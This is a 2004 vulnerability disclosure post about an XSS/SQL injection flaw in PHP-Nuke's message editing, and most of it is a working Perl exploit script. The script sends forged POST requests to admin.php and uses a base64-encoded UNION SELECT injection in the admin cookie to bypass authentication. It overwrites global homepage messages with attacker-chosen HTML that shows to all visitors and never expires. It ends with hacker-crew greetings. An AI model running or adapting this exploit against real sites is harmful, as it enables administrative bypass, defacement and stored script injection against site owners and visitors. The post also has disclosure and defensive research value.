[XSS]/SQL Injection PHP-Nuke Edit/Save Message(s) Bug

[bima tampan <iko94@xxxxxxxxx>]

=================================================================
[XSS]/SQL Injection PHP-Nuke Edit/Save Message(s) Bug by bima_
=================================================================

Php-Nuke is a popular freeware content management system.

Based on information at :
http://www.mantralab.org/modules.php/modulo/news/lanotizia/%5BXSS%5D+PHP-Nuke+7.4+Add+Message+Bug
http://www.securityfocus.com/archive/1/374542/2004-09-06/2004-09-12/0 

An attacker permitted to post to global home-page messages, and/or then deleted 
them.

I found that we can edit and then saving the change of message(s) too.

I wrote a little perl script to prove it, i used POST method,
to avoid the current php-nuke protection.
This script will edit :
[+] message's title
[+] message's content
[+] message's expired to unlimited
[+] message's active to yes
[+] message's view to all visitors
and then save the change of message(s).

Here it is :

******cut here**************
#!/usr/bin/perl
#

use LWP; 

$log   = "pos_komen_phpnuke_savemsg.txt"; 
$Agent  = "Mbahmubangga/1.0";
$proxy  = "http://172.9.1.11:80/";;    # proxy:port ...
$browser = LWP::UserAgent->new;
$browser -> agent($Agent);

$url = 'http://www.sitewithphpnuke.com/admin.php';

$browser->proxy(http => $proxy) if defined($proxy);

printlog ("\nProcessing: $url\n");

for ($a = 1; $a < 11 ; $a++) {

$mid=$a;

   $loginpost = $url;
   $loginrequest = HTTP::Request->new(POST => $loginpost);
   $loginrequest->content_type('application/x-www-form-urlencoded');
   $loginsend = 
        'title=<h1>JUST TESTING</h1>'.
        '&content=you can put HTML format here, all up to you now, 1 liner of 
course, or multiple liner with dot'.
        '&mlanguage='. #message language
        '&expire=0'. #unlimited
        '&active=1'. #yes
        '&chng_date=0'.
        '&view=1'. #all visitors
        '&mdate='.
        '&mid='.$mid. #the message id, commonly has value under 11
        '&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'. #our magic ammo ==> 
x'%20UNION%20SELECT%201/*:1
        '&add_radminsuper=1'. #the super user / G O D
        '&op=savemsg'; #operation
   $loginrequest->content-length($loginsend);
   $loginrequest->content($loginsend);
   $loginresponse = $browser->request($loginrequest);
   $logincek = $loginresponse->as_string;
   #print ($logincek);


if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length 
Required)/){
      printlog ("$mid attempting edit and saving message sending OK 
".$loginresponse->status_line ."\n") ;
   }
   else {
      printlog ("Could be failure ".$loginresponse->status_line ."\n");
      last;
   }

} #end of for

sub printlog {
 print @_[0]; 
 open(lo,">>$log");
 print lo @_[0];
 close(lo);
 return;
}
******cut here**************

And then you can see the log called : pos_komen_phpnuke_savemsg.txt

----------------------------------------------------------

*very very very special greetz to:
[+][+][+] my beloved anna [+][+][+]

*shout to dhanny firman syah : keep fighting, bro...

*special greetz to: 
[+] www.neoteker.or.id
[+] www.echo.or.id
[+] www.bosen.net
[+] www.waraxe.us
[+] qq
[+] tiyox
[+] bosen
[+] ftp_geo
[+] tiong
[+] all #1stlink #neoteker #e-c-h-o #batamhacker #kartubeben #antihackerlink 
crew @ dal net
[+] all #1stlink #romance #hackers @ centrin
[+] sj, alphacentupret, fuzk3 kendi
[+] boeboe (dah kehabisan target yach...)
[+] y3d1ps, z3r0byt3, biatch-x, K-159, Cmaster4

*contact:
[+] iko94(at)yahoo(dot)com
[+] www.geocities.com/iko94
[+] www.neoteker.or.id

[EOF]